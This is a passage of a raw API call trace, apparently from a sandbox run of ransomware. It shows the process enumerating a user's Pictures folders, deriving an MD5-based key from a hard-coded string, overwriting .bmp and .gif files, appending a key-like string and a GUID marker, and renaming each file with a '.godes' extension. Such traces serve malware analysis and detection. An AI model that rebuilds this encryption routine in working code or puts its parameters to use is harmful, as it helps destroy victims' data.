hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.946] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5e83aa0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0xc3fc5370, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0xc3fc5370, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M-hu89hh2q0KW3MDUa", cAlternateFileName="M-HU89~1")) returned 1 [0114.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32519b8 [0114.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251a80 [0114.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32519b8 | out: hHeap=0x660000) returned 1 [0114.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.946] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec89300, ftCreationTime.dwHighDateTime=0x1d4d376, ftLastAccessTime.dwLowDateTime=0x76e01b00, ftLastAccessTime.dwHighDateTime=0x1d4d159, ftLastWriteTime.dwLowDateTime=0x76e01b00, ftLastWriteTime.dwHighDateTime=0x1d4d159, nFileSizeHigh=0x0, nFileSizeLow=0xfcc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SG-TcXI2gXzZiahbe.bmp", cAlternateFileName="SG-TCX~1.BMP")) returned 1 [0114.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.946] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\SG-TcXI2gXzZiahbe.bmp") returned=".bmp" [0114.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\SG-TcXI2gXzZiahbe.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\sg-tcxi2gxzziahbe.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.946] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=64709) returned 1 [0114.947] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.948] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfc9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.948] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.950] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.950] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.950] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xfcc5, lpOverlapped=0x0) returned 1 [0114.951] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.951] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.951] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.951] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.951] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741158) returned 1 [0114.952] CryptCreateHash (in: hProv=0x741158, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.952] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.952] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.952] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.952] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.952] GetLastError () returned 0x0 [0114.952] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.952] CryptReleaseContext (hProv=0x741158, dwFlags=0x0) returned 1 [0114.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.952] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfcd0) returned 0x3323120 [0114.952] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.952] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0xfcc0, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0xfcc0, lpOverlapped=0x0) returned 1 [0114.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.952] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfcc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.953] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.953] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.953] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.953] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.953] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.953] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.953] CloseHandle (hObject=0x624) returned 1 [0114.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.954] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\SG-TcXI2gXzZiahbe.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\sg-tcxi2gxzziahbe.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\SG-TcXI2gXzZiahbe.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\sg-tcxi2gxzziahbe.bmp.godes")) returned 1 [0114.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.955] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.956] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.956] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f021060, ftCreationTime.dwHighDateTime=0x1d4c5f9, ftLastAccessTime.dwLowDateTime=0x6b0e4260, ftLastAccessTime.dwHighDateTime=0x1d4d4b6, ftLastWriteTime.dwLowDateTime=0x6b0e4260, ftLastWriteTime.dwHighDateTime=0x1d4d4b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ti8zEuhb9G6", cAlternateFileName="TI8ZEU~1")) returned 1 [0114.956] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ecb8 [0114.956] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.956] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323eee0 [0114.956] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.956] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ecb8 | out: hHeap=0x660000) returned 1 [0114.956] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d0a830, ftCreationTime.dwHighDateTime=0x1d4cdc5, ftLastAccessTime.dwLowDateTime=0x3dfb61c0, ftLastAccessTime.dwHighDateTime=0x1d4d184, ftLastWriteTime.dwLowDateTime=0x3dfb61c0, ftLastWriteTime.dwHighDateTime=0x1d4d184, nFileSizeHigh=0x0, nFileSizeLow=0xefe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u8 nslHY.gif", cAlternateFileName="U8NSLH~1.GIF")) returned 1 [0114.956] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.956] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.956] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.956] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\u8 nslHY.gif") returned=".gif" [0114.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\u8 nslHY.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\u8 nslhy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.956] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=3838) returned 1 [0114.956] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.958] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.958] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.961] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.961] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.961] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xefe, lpOverlapped=0x0) returned 1 [0114.962] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.962] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.962] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.962] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.962] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741158) returned 1 [0114.962] CryptCreateHash (in: hProv=0x741158, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.962] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.962] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.962] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.963] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.963] GetLastError () returned 0x0 [0114.963] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.963] CryptReleaseContext (hProv=0x741158, dwFlags=0x0) returned 1 [0114.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.963] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xf00) returned 0x3323120 [0114.963] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.963] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0xef9, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0xef9, lpOverlapped=0x0) returned 1 [0114.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.963] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xefe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.963] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.963] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.963] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.963] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.963] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.963] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.963] CloseHandle (hObject=0x624) returned 1 [0114.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ecb8 [0114.964] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ecb8 | out: hHeap=0x660000) returned 1 [0114.964] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\u8 nslHY.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\u8 nslhy.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\u8 nslHY.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\u8 nslhy.gif.godes")) returned 1 [0114.965] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.965] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.966] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d0a830, ftCreationTime.dwHighDateTime=0x1d4cdc5, ftLastAccessTime.dwLowDateTime=0x3dfb61c0, ftLastAccessTime.dwHighDateTime=0x1d4d184, ftLastWriteTime.dwLowDateTime=0x3dfb61c0, ftLastWriteTime.dwHighDateTime=0x1d4d184, nFileSizeHigh=0x0, nFileSizeLow=0xefe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u8 nslHY.gif", cAlternateFileName="U8NSLH~1.GIF")) returned 0 [0114.966] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321138 | out: hHeap=0x660000) returned 1 [0114.966] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321300 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321268 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321690 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321728 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33215f8 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x320d528 | out: hHeap=0x660000) returned 1 [0114.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33215f8 [0114.966] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.966] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.967] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 